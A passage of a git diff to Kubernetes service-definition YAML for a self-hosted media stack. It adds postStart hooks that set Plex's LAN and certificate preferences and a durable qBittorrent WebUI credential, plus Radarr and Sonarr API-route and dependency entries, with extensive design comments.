+  # lives in git and is re-asserted unconditionally rather than typed into a web form once. Typing
+  # settings into the web form is precisely what took this service down on 2026-10-04.
+  #
+  # IT EXISTS BECAUSE THE IMAGE HAS NO ENV FOR THESE SETTINGS. Measured 2026-10-04 across the whole
+  # init surface (/etc/cont-init.d, /etc/services.d, /plex-common.sh, /usr/local/bin): the image
+  # calls setPref for exactly SIX prefs — MachineIdentifier, ProcessedMachineIdentifier,
+  # PlexOnlineToken, customConnections, allowedNetworks, TranscoderTempDirectory — and supports NO
+  # generic PLEX_PREFERENCE* hook of any kind. The two things we need (a LAN definition and a custom
+  # certificate) are reachable ONLY through Plex's own API, so this hook is the only GitOps path.
+  #
+  # IT MUST NEVER FAIL. A postStart hook that exits non-zero makes kubelet KILL the container, so
+  # every step is bounded and the script ends with an unconditional `exit 0`. A missing token, an
+  # unissued certificate or an unreachable API degrades to "not applied this start" and is retried
+  # on the next one; it never crashloops Plex.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # NOTE — LOAD-BEARING: SHELL VARIABLES HERE ARE WRITTEN BARE, NEVER BRACE-WRAPPED.
+          # This whole script is rewritten by Flux postBuild envsubst BEFORE it ever runs, so a
+          # brace-wrapped name is read as a cluster-vars knob: an undeclared one is a HARD
+          # Kustomization failure under StrictPostBuildSubstitutions, and a declared one would be
+          # replaced with its value. Shell vars are therefore `$PX`, `$TOKEN`, `$P12` — bare. Only
+          # BASE_DOMAIN below is brace-wrapped, because it IS a knob and IS meant to be
+          # substituted. Command substitution `$(cmd)` is left alone and needs no escaping. A shell
+          # variable written with braces would be blanked or would fail the whole Kustomization —
+          # this repo has already lost a gitea OIDC bootstrap to exactly that mistake, and
+          # catalog/render.py now refuses to emit it (which is how this very comment got caught).
+          # DELIBERATELY NO `set -u`. The TLS env vars are declared `optional: true`, so when the
+          # certificate has not issued yet they are genuinely UNSET, not empty — and under `set -u`
+          # the first `[ -n "$PLEX_TLS_CRT" ]` would abort the script, which for a postStart hook
+          # means kubelet KILLS THE CONTAINER. That is the precise failure the `optional` flag exists
+          # to prevent, so turning it back on here would defeat the whole design. (The alternative,
+          # a brace-wrapped `:-` default, would need envsubst escaping — the trap the note above
+          # describes.) Every value below is explicitly guarded instead.
+          PX="/config/Library/Application Support/Plex Media Server/Preferences.xml"
+          CERTDIR=/config/certs
+          P12=$CERTDIR/plex-vip.p12
+          # The PKCS#12 passphrase protects nothing and is deliberately not a secret: Plex needs it
+          # in cleartext in customCertificateKey, and it and the bundle sit on the same PVC. It is a
+          # container-format requirement, not an access control.
+          P12PASS=plexvip
+          LANNETS='10.0.0.0/8,192.168.0.0/16'
+          CERTDOMAIN=plex-vip.${BASE_DOMAIN}
+          API=http://127.0.0.1:32400
+
+          # (1) Build the PKCS#12 bundle from the PEM the Secret supplies. Rebuilt on every start so
+          # a cert-manager RENEWAL is picked up with no extra moving part.
+          if [ -n "$PLEX_TLS_CRT" ] && [ -n "$PLEX_TLS_KEY" ]; then
+            mkdir -p $CERTDIR && chmod 700 $CERTDIR
+            printf '%s' "$PLEX_TLS_CRT" > $CERTDIR/tls.crt
+            printf '%s' "$PLEX_TLS_KEY" > $CERTDIR/tls.key
+            chmod 600 $CERTDIR/tls.key
+            if openssl pkcs12 -export -out $P12.tmp -inkey $CERTDIR/tls.key \
+                 -in $CERTDIR/tls.crt -passout pass:$P12PASS 2>/dev/null; then
+              mv -f $P12.tmp $P12
+              chown 1000:1000 $P12 2>/dev/null || true
+              chmod 600 $P12
+              echo "[plex-settings] PKCS#12 bundle written"
+            else
+              rm -f $P12.tmp
+              echo "[plex-settings] WARN: pkcs12 export failed; keeping any previous bundle" >&2
+            fi
+            rm -f $CERTDIR/tls.key
+          else
+            echo "[plex-settings] WARN: TLS env empty; certificate not installed this start" >&2
+          fi
+
+          # (2) Wait, bounded (~90s), for the local API. /identity needs no auth.
+          i=0
+          while [ "$i" -lt 45 ]; do
+            if [ "$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 $API/identity 2>/dev/null)" = "200" ]; then
+              break
+            fi
+            i=$(expr $i + 1); sleep 2
+          done
+
+          # (3) The prefs API needs the server token. It already lives in Preferences.xml on this
+          # PVC; it is never echoed here, and Plex redacts tokens in its own request log. An
+          # UNCLAIMED server has none — a normal state on a fresh /config — so skip, do not fail.
+          TOKEN=$(grep -o 'PlexOnlineToken="[^"]*"' "$PX" 2>/dev/null | head -1 | cut -d'"' -f2)
+          if [ -z "$TOKEN" ]; then
+            echo "[plex-settings] not claimed yet — skipping prefs, will retry next start" >&2
+            exit 0
+          fi
+
+          # Percent-encode what our values actually contain. Plex takes prefs as QUERY parameters on
+          # a PUT, so a raw '/' or ',' would be read as structure rather than data.
+          enc() {
+            printf '%s' "$1" | sed -e 's|%|%25|g' -e 's|/|%2F|g' -e 's|,|%2C|g' \
+                                   -e 's|:|%3A|g' -e 's| |%20|g'
+          }
+          setpref() {
+            code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 10 -X PUT \
+              -H "X-Plex-Token: $TOKEN" "$API/:/prefs?$1=$(enc "$2")" 2>/dev/null)
+            if [ "$code" = "200" ]; then
+              echo "[plex-settings] set $1"
+            else
+              echo "[plex-settings] WARN: $1 -> HTTP $code" >&2
+            fi
+          }
+
+          # (4) THE LAN DEFINITION — the reason this hook was written. Without it Plex has NO notion
+          # of a local network and tags EVERY client remote. Measured 2026-10-04: 468 requests
+          # logged "Allowed Network (WAN)" and ZERO "(LAN)", including Seerr from inside the
+          # cluster, which is why the server showed as Remote to LAN clients. Note allowedNetworks
+          # (the ALLOWED_NETWORKS env) only waives AUTH — it does NOT make a client local. Two
+          # different settings; only one of them has an env hook.
+          setpref LanNetworksBandwidth "$LANNETS"
+
+          # (5) THE CERTIFICATE, which is what makes the `https` in ADVERTISE_IP servable. Set only
+          # if the bundle exists — pointing Plex at a missing file would break its TLS listener.
+          if [ -s "$P12" ]; then
+            setpref customCertificatePath "$P12"
+            setpref customCertificateKey "$P12PASS"
+            setpref customCertificateDomain "$CERTDOMAIN"
+          else
+            echo "[plex-settings] WARN: no bundle; leaving certificate prefs untouched" >&2
+          fi
+          exit 0
+# HARDWARE TRANSCODING — the host iGPU's render device (schema 1.8.0 `hardware`; R-PLAT-02).
+# INTENT ONLY, AND THE MECHANISM DELIBERATELY DOES NOT LIVE HERE. This says "this workload needs an
+# Intel Quick Sync render device"; it does NOT name a device path and it does NOT name a resource.
+# How the platform hands the device over is `catalog/render.py`'s business and is documented in
+# `schemas/renderer-contract.md` `### hardware` — read that for the mechanism, never this comment.
+# The payoff is proven, not theoretical: on 2026-10-01 the mechanism was swapped outright (hostPath
+# -> Intel GPU device plugin extended resource) and THIS BLOCK DID NOT MOVE — a `render.py` change
+# plus a re-render, zero catalog edits. Do not "simplify" it into a raw `/dev/...` path; that is the
+# whole point of the enum.
+#
+# THE DEVICE IS PRESENT ON EVERY PROD NODE, so nothing had to be installed and Plex can land
+# anywhere. Measured on all three nodes 2026-09-30: `/dev/dri/renderD128` present, `root:render`,
+# GID 992, mode 0660, driver `i915` bound (NOT `xe`), UHD Graphics 630 on an i7-9700T, media engines
+# `vcs0`/`vecs0` live, iGPU enabled in BIOS on each. Measured again 2026-10-01, one layer up: all
+# three nodes advertise `gpu.intel.com/i915: 1` in `.status.allocatable`. This field renders no
+# nodeSelector; placement is a separate concern with its own justification.
+#
+# PLEX'S SCHEDULABILITY IS NOW COUPLED TO THE `intel-gpu-plugin` DaemonSet, and that is a real cost,
+# not a footnote. The current mechanism is a hard scheduling constraint: if the resource is
+# unavailable (plugin broken, removed, or not yet reconciled) this pod is UNSCHEDULABLE, and because
+# `apps-wave-0` is `wait: true` with `apps-wave-1` `dependsOn` it, that STALLS THE WHOLE APP TIER.
+# The previous hostPath mechanism degraded silently to software transcoding instead — but it never
+# actually granted access (device-cgroup EPERM, measured 2026-10-01), so there was nothing to keep.
+# THE ESCAPE HATCH IS THIS BLOCK: delete these two lines and re-render, and Plex goes back to
+# software transcoding and the tier unblocks. One field, no code change. `runbooks/plex-quicksync.md`
+# carries that procedure for whoever needs it at 2am.
+#
+# NO `podSecurityContext.supplementalGroups`, AND ADDING ONE WOULD BE INERT — do not "fix" this.
+# The device is `root:render` 0660 and this process is uid/gid 1000, so the obvious move is to push
+# the host `render` GID in as a supplemental group. It cannot work here, and this survived the
+# mechanism swap unchanged. MEASURED IN THE RUNNING CONTAINER, 2026-09-30 and again 2026-10-01: the
+# image's own `/etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner` stats every char device
+# under `/dev/dri`, `groupadd`s a matching group INSIDE the container when none exists, and
+# `usermod -a -G`s the `plex` user into it — every start, nothing hardcoded, which also makes a host
+# GID renumbering self-healing (no GID is pinned anywhere in this repo) and which works the same way
+# on a PLUGIN-INJECTED device as on a bind-mounted one. Measured live, `Plex Media Server` ran with
+# `Groups: 44 100 992 1000` — 992 IS the host `render` GID, i.e. the hook had already done the job.
+# The service execs via `s6-setuidgid plex`, and `s6-setuidgid` REPLACES the process group list from
+# `/etc/group` rather than appending to it, so root's gid `0` — which PID 1 (`s6-svscan`) does hold —
+# is GONE, and anything Kubernetes supplies reaches s6-svscan and is discarded before Plex ever
+# starts. The group is the image's job and it does it correctly. `render.py --selftest` asserts the
+# ABSENCE of a pod securityContext for this field precisely so nobody adds an inert one back later.
+#
+# THE LAST MILE IS A MANUAL OPERATOR STEP AND CANNOT LIVE IN THIS REPO. Handing over the device does
+# not enable hardware transcoding — Plex's own `HardwareAcceleratedCodecs` preference does, and it
+# is ABSENT from `Preferences.xml` today (the toggle has never been on). NO environment variable can
+# set it: a grep of the running image's entire init surface (`/etc/cont-init.d`, `/etc/services.d`,
+# `/etc/fix-attrs.d`, `/plex-common.sh`, `/usr/local/bin`) found ZERO `PLEX_PREFERENCE*` support,
+# and the six prefs the image does write (`MachineIdentifier`, `ProcessedMachineIdentifier`,
+# `PlexOnlineToken`, `customConnections`, `allowedNetworks`, `TranscoderTempDirectory`) are all
+# unrelated. So there is no GitOps path to the toggle; an operator clicks it once in the web UI.
+# `runbooks/plex-quicksync.md` is that procedure, plus how to verify it took.
+hardware:
+  gpu: intel-quicksync
 exposure: public              # edge port-forward + public DNS; clients + Seerr reach it (docs/09; R-DNS/R-NET)
 egress: internet              # normal WAN egress (docs/03; R-NET-05)
 storage:
@@ -56,10 +358,12 @@ storage:
                               # container's EPHEMERAL layer -> unclaimed + all state lost on restart. The image inits as
                               # root (s6-svscan PID 1), chowns /config to the plex user, then drops -> no fsGroup needed
                               # (verified in-cluster: PID1=root, "Plex Media Server"=plex). Persisting /config here also
-                              # makes the claim survive restarts once claimed. To auto-claim on first boot instead of the
-                              # UI sign-in, the operator adds a PLEX_CLAIM env from a fresh https://plex.tv/claim token
-                              # (4-min TTL) — deliberately NOT wired here: the env secretKeyRef pattern has no `optional`,
-                              # so a placeholder/absent claim Secret would crashloop the pod. See operator hand-off.
+                              # makes the claim survive restarts once claimed — which is what makes the PLEX_CLAIM env
+                              # above a ONE-SHOT: the token is exchanged for a PlexOnlineToken written here, and the
+                              # exchange is then skipped on every later start. (The older note here claimed a
+                              # placeholder claim Secret "would crashloop the pod"; upstream's first-run script says
+                              # otherwise — see the PLEX_CLAIM comment in `env` above. An ABSENT Secret is the hard
+                              # failure, and that is why one is committed.)
   # THE LIBRARY (docs/04 bulk tier). One READ-ONLY mount of the export ROOT, giving /media/movies,
   # /media/tv and /media/photos — the whole tree the layout actually has (`ls /mnt/Storage/plex`:
   # downloads/ movies/ photos/ tv/).

catalog/qbittorrent.yaml

@@ -44,6 +44,295 @@ env:
     value: "3000"               # the export's dominant group, matching sonarr/radarr: files this writes stay
                                 # readable to the EXISTING non-k3s consumers of the same dataset, and land
                                 # group-owned the same way the arrs' own writes do
+  # --- THE DURABLE WebUI CREDENTIAL (consumed by the postStart hook below) -------------------
+  # Measured on prod 2026-09-13: /config/qBittorrent/qBittorrent.conf held NEITHER `WebUI\Username`
+  # NOR `WebUI\Password_PBKDF2`. qBittorrent 5.x reads that as "no credential configured" and mints a
+  # NEW random `admin` password on EVERY process start, announcing it ONLY on stdout ("A temporary
+  # password is provided for this session: ..."). Two real consequences, not hypotheticals:
+  #   * Sonarr and Radarr store a download-client username/password in their OWN databases. Both
+  #     tested valid against the then-current temporary password; both would have started failing at
+  #     the NEXT qbittorrent pod restart, silently breaking Completed Download Handling (the arrs
+  #     report a failed client, not a failed import).
+  #   * The human operator had no stable login: every restart meant reading the pod log.
+  # Provided as apps/wave-0/qbittorrent-bootstrap-secret.sops.yaml (SOPS/age, decrypted by Flux) —
+  # same shape and naming as gitea-bootstrap, so `render.py --emit-waves` places it in this wave.
+  - name: QBT_WEBUI_USERNAME
+    valueFrom:
+      secretKeyRef:
+        name: qbittorrent-bootstrap
+        key: webui-username
+  - name: QBT_WEBUI_PASSWORD
+    valueFrom:
+      secretKeyRef:
+        name: qbittorrent-bootstrap
+        key: webui-password
+lifecycle:
+  # LEVEL-TRIGGERED CREDENTIAL ASSERTION, run on EVERY container start.
+  #
+  # WHY A postStart HOOK AND NOT A CronJob RECONCILER: the repo's idiom for "state Flux cannot reach
+  # directly" is the level-triggered CronJob (platform/keycloak/client-secret-reconciler.yaml,
+  # apps/wave-0/nextcloud-db.yaml). That idiom's PRINCIPLE — desired state lives in git and is
+  # RE-ASSERTED unconditionally, never set once — is exactly what is applied here, but the trigger is
+  # the container start rather than a clock, because the failure this closes IS a container start:
+  #   * The credential is read by qbittorrent-nox ONCE, at process start, from a file on the config
+  #     PVC. A 15-minute cron would therefore leave a 0-15 minute window after every restart, PVC
+  #     restore or rebuild in which the app serves a random password and both arrs are broken. The
+  #     hook has no such window: it runs before/with the very start that would otherwise regenerate.
+  #   * A CronJob would also have to reach the conf from OUTSIDE the pod — mounting an RWO Longhorn
+  #     PVC that the app already holds, or `kubectl exec`-ing with RBAC it would need granting — and
+  #     then edit a file UNDER the running process, whose own save-on-exit can overwrite the edit.
+  #     In-container, before the service starts, none of that exists.
+  #   * It needs no ServiceAccount, no RBAC, no NetworkPolicy and no API token: strictly less
+  #     privilege than the CronJob alternative (R-SEC/least-privilege).
+  # The gitea entry's postStart is the same pattern (idempotent bootstrap of a credential the app
+  # keeps in its own state), and the schema documents this hook for exactly that use.
+  #
+  # AND WHY NOT AN initContainer, which is the genuinely tempting third option: it would run strictly
+  # BEFORE qbittorrent-nox, removing the race the `s6-svc -r` below exists to cover, and its stdout
+  # would reach `kubectl logs -c <init>` instead of the kubelet. Two reasons it loses here:
+  #   * It CANNOT do step (3) — the ground-truth login that proves the WebUI actually accepts the
+  #     credential — because the WebUI is not running yet. That assertion is the most valuable line
+  #     in this whole mechanism: it is what turns "we wrote a file" into "the credential works", and
+  #     writing the right PBKDF2 bytes is precisely the part that is easy to get subtly wrong.
+  #   * The ServiceDefinition schema (1.5.0) has `lifecycle` but NO initContainers field, so it would
+  #     mean a schema version bump plus a renderer change — a blast radius across every service's
+  #     golden — to buy something strictly weaker than what the hook already does.
+  # The honest summary: postStart trades a short, self-healing start-up race (detected and closed by
+  # the s6 restart + re-verify loop) for the ability to VERIFY. That is the right trade.
+  #
+  # DURABILITY, the whole point — all three paths end with the SAME credential:
+  #   pod restart      -> conf on the PVC already holds it; the hook verifies and writes NOTHING.
+  #   config-PVC restore from an older backup -> restore requires the pod to be recreated, so the
+  #                       hook runs and re-asserts over whatever the snapshot contained.
+  #   rebuild from git -> empty PVC; the image copies /defaults/qBittorrent.conf, the hook writes the
+  #                       credential into it before the service is serving. Nothing outside git.
+  #
+  # WHAT IT DOES NOT DO: it never weakens authentication. `WebUI\AuthSubnetWhitelist` (bypassing auth
+  # for the pod CIDR) was REJECTED: it leaves the human login broken, and makes qBittorrent's auth
+  # depend on network policy staying correct forever. The WebUI keeps demanding a password; that
+  # password is simply now known, fixed, and reproducible from git.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # Assert the durable WebUI credential in the config PVC's qBittorrent.conf, then PROVE the
+          # running WebUI accepts it. Idempotent: the steady-state path writes nothing at all.
+          #
+          # THIS SCRIPT CONTAINS NO BRACED DOLLAR EXPANSION AT ALL, AND THAT IS DELIBERATE.
+          # apps-wave-0 declares postBuild.substituteFrom cluster-vars, so Flux runs envsubst over
+          # this whole manifest at RECONCILE time. The repo's escape contract (double the dollar;
+          # enforced by render.py's assert_substitution_safe) makes such a form correct ON THE
+          # CLUSTER — but only there:
+          # envsubst collapses the doubled dollar, so the SAME text run any other way (a `kubectl
+          # apply` of the golden, which runs no envsubst; a hand `kubectl exec` of the script during
+          # development) keeps the doubled dollar, which bash reads as its own PID. Not hypothetical;
+          # see the PORT comment below for the bug it actually caused here. Bare `$VAR` and `$(cmd)`
+          # are untouched by envsubst, so they are used throughout and the script behaves IDENTICALLY
+          # however it is run.
+          set -u
+          CONF=/config/qBittorrent/qBittorrent.conf
+          SVC=/run/service/svc-qbittorrent
+          # The WebUI's listening port, as a LITERAL. It matches ingressRoutes[0].port in this
+          # ServiceDefinition — which is the single place the renderer takes the containerPort, the
+          # Service port and the HTTPRoute backend port from — and the image exposes no WEBUI_PORT
+          # env var for a lookup to read anyway.
+          # It USED to be a doubled-dollar default-operator expansion of a WEBUI_PORT env var, and
+          # that cost real time: run without envsubst, bash read the doubled dollar as its own PID,
+          # so PORT became "<pid>{WEBUI_PORT:-8080}" — the brace never expanded, the digits never
+          # matched. Every curl below then got an unparseable URL, returned nothing, and the hook
+          # logged "the WebUI rejected the durable
+          # credential" — having never actually asked it. That MISDIAGNOSIS is preserved in this
+          # service's own marker log at 2026-09-13T05:35Z (three "rejected" lines, then GAVE UP,
+          # against a WebUI that accepted the credential perfectly well). A literal cannot be mangled.
+          PORT=8080
+          # A postStart hook's stdout/stderr goes to the KUBELET, not to `kubectl logs` — so a hook
+          # that only echoes is effectively silent (gitea's hits the same wall and writes a marker
+          # file for it). Every outcome therefore also lands, timestamped, on the persistent config
+          # volume: /config/qbittorrent-webui-cred.log is where an operator looks to see whether the
+          # credential from git was asserted and accepted on this start.
+          log() {
+            echo "[qbt-webui-cred] $*"
+            printf '%s [qbt-webui-cred] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$*" \
+              >> /config/qbittorrent-webui-cred.log 2>/dev/null || true
+          }
+
+          # (1) The image's init-qbittorrent-config copies /defaults/qBittorrent.conf onto the PVC
+          #     before it starts the service. Wait (bounded, ~30s) so we EDIT that file instead of
+          #     racing to create one it would then not overwrite.
+          n=0
+          while [ ! -s "$CONF" ] && [ "$n" -lt 120 ]; do n=$((n + 1)); sleep 0.25; done
+
+          waited=0
+          attempt=0
+          while [ "$attempt" -lt 3 ]; do
+            attempt=$((attempt + 1))
+
+            # (2) Converge the conf. 0 = already correct (steady state: NO write, NO re-salt),
+            #     10 = rewritten, anything else = could not write.
+            python3 - "$CONF" <<'PY'
+          import base64, hashlib, hmac, os, stat, sys
+
+          conf = sys.argv[1]
+          user = os.environ.get("QBT_WEBUI_USERNAME", "")
+          pw = os.environ.get("QBT_WEBUI_PASSWORD", "")
+          if not user or not pw:
+              sys.stderr.write("[qbt-webui-cred] credential env is empty - refusing to touch the conf\n")
+              raise SystemExit(1)
+
+          # qBittorrent's OWN parameters (base/utils/password.cpp): PBKDF2-HMAC-SHA512, 100000
+          # iterations, 16-byte random salt, 64-byte digest, stored as
+          #   WebUI\Password_PBKDF2="@ByteArray(<base64 salt>:<base64 digest>)"
+          # Get any one of them wrong and the app simply rejects every login.
+          ITERATIONS, DIGEST_LEN, SALT_LEN = 100000, 64, 16
+          UKEY, PKEY, SECTION = "WebUI\\Username", "WebUI\\Password_PBKDF2", "[Preferences]"
+
+          def matches(raw):
+              """True iff the stored digest is one OUR password produces (salt is read from it)."""
+              v = raw.strip().strip('"')
+              if v.startswith("@ByteArray(") and v.endswith(")"):
+                  v = v[len("@ByteArray("):-1]
+              try:
+                  salt_b64, digest_b64 = v.split(":", 1)
+                  salt = base64.b64decode(salt_b64, validate=True)
+                  digest = base64.b64decode(digest_b64, validate=True)
+              except Exception:
+                  return False
+              if not salt or not digest:
+                  return False
+              return hmac.compare_digest(
+                  hashlib.pbkdf2_hmac("sha512", pw.encode(), salt, ITERATIONS, len(digest)), digest)
+
+          try:
+              lines = open(conf, encoding="utf-8", errors="replace").read().splitlines()
+          except FileNotFoundError:
+              lines = []
+
+          def value_of(key):
+              for i, line in enumerate(lines):
+                  if line.startswith(key + "="):
+                      return i, line.split("=", 1)[1]
+              return -1, None
+
+          ui, uval = value_of(UKEY)
+          pi, pval = value_of(PKEY)
+          if uval == user and pval is not None and matches(pval):
+              raise SystemExit(0)          # converged - leave the file (and its salt) alone
+
+          salt = os.urandom(SALT_LEN)
+          digest = hashlib.pbkdf2_hmac("sha512", pw.encode(), salt, ITERATIONS, DIGEST_LEN)
+          stored = base64.b64encode(salt).decode() + ":" + base64.b64encode(digest).decode()
+          desired = [UKEY + "=" + user, PKEY + '="@ByteArray(' + stored + ')"']
+
+          out = [line for i, line in enumerate(lines) if i not in (ui, pi)]
+          if SECTION in out:
+              at = out.index(SECTION) + 1
+          else:
+              if out and out[-1].strip():
+                  out.append("")
+              out.append(SECTION)
+              at = len(out)
+          out[at:at] = desired
+
+          try:
+              os.makedirs(os.path.dirname(conf) or ".", exist_ok=True)
+              tmp = conf + ".webui-cred.new"
+              with open(tmp, "w", encoding="utf-8") as fh:
+                  fh.write("\n".join(out) + "\n")
+                  fh.flush()
+                  os.fsync(fh.fileno())
+              # This hook runs as ROOT; the service runs as PUID:PGID. A root-owned 0600 conf would
+              # cost the app the ability to save its own settings, so carry the ownership over.
+              try:
+                  st = os.stat(conf)
+                  os.chown(tmp, st.st_uid, st.st_gid)
+                  os.chmod(tmp, stat.S_IMODE(st.st_mode))
+              except FileNotFoundError:
+                  os.chown(tmp, int(os.environ.get("PUID", "1000")),
+                           int(os.environ.get("PGID", "1000")))
+                  os.chmod(tmp, 0o664)
+              os.replace(tmp, conf)        # atomic: the app never reads a half-written conf
+          except OSError as exc:
+              sys.stderr.write("[qbt-webui-cred] cannot write %s: %s\n" % (conf, exc))
+              raise SystemExit(1)
+          raise SystemExit(10)
+          PY
+            rc=$?
+
+            if [ "$rc" = 0 ]; then
+              log "conf already holds the durable credential for '$QBT_WEBUI_USERNAME' (no write)"
+            elif [ "$rc" = 10 ]; then
+              log "asserted WebUI Username + Password_PBKDF2 into $CONF"
+              # postStart runs CONCURRENTLY with the s6 init chain, so qbittorrent-nox may ALREADY
+              # have read the old, credential-less conf and be serving a random temporary password.
+              # Restart the SUPERVISED SERVICE (not the pod) so it re-reads what was just written.
+              # Nothing to do when the service has not started yet - it will read the new file.
+              # Its own counter, NOT the shared `waited` API budget: sharing one counter is how the
+              # 2026-09-13 failure spent the entire verification budget before the first login and
+              # then fired attempts 2 and 3 with no wait left at all.
+              sv=0
+              while [ "$sv" -lt 60 ] && [ "$(s6-svstat -u "$SVC" 2>/dev/null)" != "true" ]; do
+                sv=$((sv + 1)); sleep 1
+              done
+              if [ "$(s6-svstat -u "$SVC" 2>/dev/null)" = "true" ]; then
+                log "qbittorrent-nox was already running - restarting it to load the credential"
+                s6-svc -r "$SVC" || log "s6-svc -r failed (continuing to verify anyway)"
+                sleep 3
+              fi
+            else
+              log "FAILED to write the credential into $CONF (helper exit $rc). The WebUI will keep" >&2
+              log "minting a random password every start and BOTH arrs will break. Fix and restart." >&2
+              exit 0
+            fi
+
+            # (3) GROUND TRUTH: the WebUI itself must accept it. Wait for the API to answer at ALL
+            #     (shared ~120s budget across attempts), then spend exactly ONE login per attempt -
+            #     at most 3 rejected logins, which stays under qBittorrent's default ban threshold.
+            #
+            # "THE API NEVER ANSWERED" IS A DIFFERENT FAULT FROM "THE PASSWORD WAS REJECTED", and
+            # conflating them is what made this hook lie once already (see the PORT comment). An
+            # unreachable WebUI is reported as unreachable, and the hook stops rather than spending
+            # its remaining login attempts to produce two more identical wrong diagnoses.
+            api_ok=0
+            while [ "$waited" -lt 120 ]; do
+              code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' "http://127.0.0.1:$PORT/" 2>/dev/null)
+              if [ -n "$code" ] && [ "$code" != "000" ]; then api_ok=1; break; fi
+              waited=$((waited + 1)); sleep 1
+            done
+            if [ "$api_ok" != 1 ]; then
+              log "the WebUI never answered on 127.0.0.1:$PORT within the wait budget, so the" >&2
+              log "credential in $CONF is UNVERIFIED. This is NOT a rejected password - it was" >&2
+              log "never submitted. Do not rotate the credential on the strength of this line." >&2
+              exit 0
+            fi
+            body=$(curl -sS -m 10 \
+                     --data-urlencode "username=$QBT_WEBUI_USERNAME" \
+                     --data-urlencode "password=$QBT_WEBUI_PASSWORD" \
+                     "http://127.0.0.1:$PORT/api/v2/auth/login" 2>/dev/null)
+            if [ "$body" = "Ok." ]; then
+              log "VERIFIED: the WebUI accepts the durable credential for '$QBT_WEBUI_USERNAME'"
+              exit 0
+            fi
+            log "WebUI rejected the durable credential (login said '$body')" >&2
+            # A rejection when the conf was ALREADY converged (rc=0, nothing written) can only mean
+            # the running qbittorrent-nox is serving something it read from an EARLIER conf, so
+            # rewriting the same bytes on the next attempt would change nothing. The remedy is to
+            # make the process RE-READ the file, so restart the supervised service and let the next
+            # attempt re-verify. Without this the retry loop could never change its own outcome.
+            if [ "$(s6-svstat -u "$SVC" 2>/dev/null)" = "true" ]; then
+              log "restarting qbittorrent-nox so it re-reads $CONF, then re-verifying" >&2
+              s6-svc -r "$SVC" || log "s6-svc -r failed (continuing to verify anyway)" >&2
+              sleep 3
+            fi
+          done
+
+          log "GAVE UP after $attempt attempts: the WebUI does not accept the credential from git." >&2
+          # A postStart hook MUST exit 0 - a non-zero exit makes the kubelet KILL the container
+          # (FailedPostStartHook -> CrashLoopBackOff), turning a credential fault into an outage.
+          # Both failure paths above therefore log LOUDLY and exit 0; the `up` SLI still watches the
+          # app, and the arrs' own download-client health check surfaces a broken credential.
+          exit 0
 podSecurityContext:
   # For the LONGHORN config PVC only, and for the same reason radarr/sonarr set it: fsGroup is a NO-OP
   # on the NFS volume (the in-tree plugin does no ownership management), but on a Longhorn filesystem
@@ -159,6 +448,12 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE: UNMEASURED, not cleared. qBittorrent's WebUI drives everything through
+  # /api/v2/, so it is plausibly affected in the same way jackett is — but plausibility is what
+  # put a renderer constant on the table in the first place. MEASURED 2026-10-01 on the live pod
+  # (qbittorrent-5547bdb9bd-zq557, 0 restarts, 23h): 13,649 log lines, ZERO unauthenticated
+  # requests, nothing but health probes. No traffic means no evidence either way. Add `^/api/`
+  # when someone opens the WebUI and records the 302/401 split, as was done for jackett.
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the qBittorrent 5.x stable line

catalog/radarr.yaml

@@ -100,6 +100,9 @@ dependencies:
   - to: jackett                 # arr → indexer proxy (docs/13 dependency graph; R-NET-02 explicit allow)
     port: 9117
     protocol: tcp
+  - to: plex
+    port: 32400                 # arr -> plex: required since library is on NFS which does not provide file CRUD notifications
+    protocol: tcp
 ingressRoutes:
   - host: radarr.${BASE_DOMAIN}
     port: 7878                  # Radarr web/API; TLS terminates at the shared Gateway (docs/08, docs/09)
@@ -112,6 +115,32 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Radarr's machine endpoints with 401 instead of a 302 to Keycloak (schema 1.9.0;
+  # renders --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # `^/signalr/` — MEASURED ON THE LIVE POD, 2026-10-01, 23h after the cookie fix deployed
+  # (radarr-7d55cbffb9-42hmh, 0 restarts): 232 unauthenticated requests in the pod's whole
+  # lifetime and ALL 232 are the same call — `POST /signalr/messages/negotiate` from a browser
+  # UA, answered 302 by the proxy with upstream `-`, i.e. Radarr never saw one of them. That is
+  # a left-open tab whose session the cookie rename orphaned, polling SignalR forever, silently
+  # redirected every time and NEVER re-prompting the operator. It is the reported symptom
+  # ("reloading never fixes it and I am never re-prompted") still running in production on a
+  # service nobody was watching. With 401 the UI's connection breaks LOUDLY, the operator
+  # reloads, and `/` is outside both regexes so the reload signs them back in.
+  #
+  # `^/api/` — measured on radarr, but on the PRE-FIX pod and NOT by me: the 2026-09-30
+  # diagnosis (decisions/2026-09-30-jackett-oauth2-proxy-session.md) recorded radarr's 156
+  # unauthenticated requests as `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+  # `/signalr/messages/negotiate` (43). The current pod has logged ZERO /api/ traffic, so I did
+  # not re-measure it; it is included because 108 of 156 measured rejections on this app were
+  # /api/v3 XHRs, which is this app's own evidence rather than an analogy to another app.
+  #
+  # SCOPE: both are JSON/RPC namespaces a browser never NAVIGATES to. Radarr's UI is served at
+  # `/` with assets under /Content/ and /MediaCover/, none of which match — so a plain page load
+  # is still 302'd into a silent SSO sign-in.
+  apiRoutes:
+    - ^/api/
+    - ^/signalr/
 update:
   channel: stable               # R-UPD-01
   range: ">=5.0.0 <6.0.0"       # stay on the Radarr v5 stable line

catalog/sonarr.yaml

@@ -100,6 +100,9 @@ dependencies:
   - to: jackett                 # arr → indexer proxy (docs/13 dependency graph; R-NET-02 explicit allow)
     port: 9117
     protocol: tcp
+  - to: plex                    # arr -> plex: required since library is on NFS which does not provide file CRUD notifications
+    port: 32400
+    protocol: tcp
 ingressRoutes:
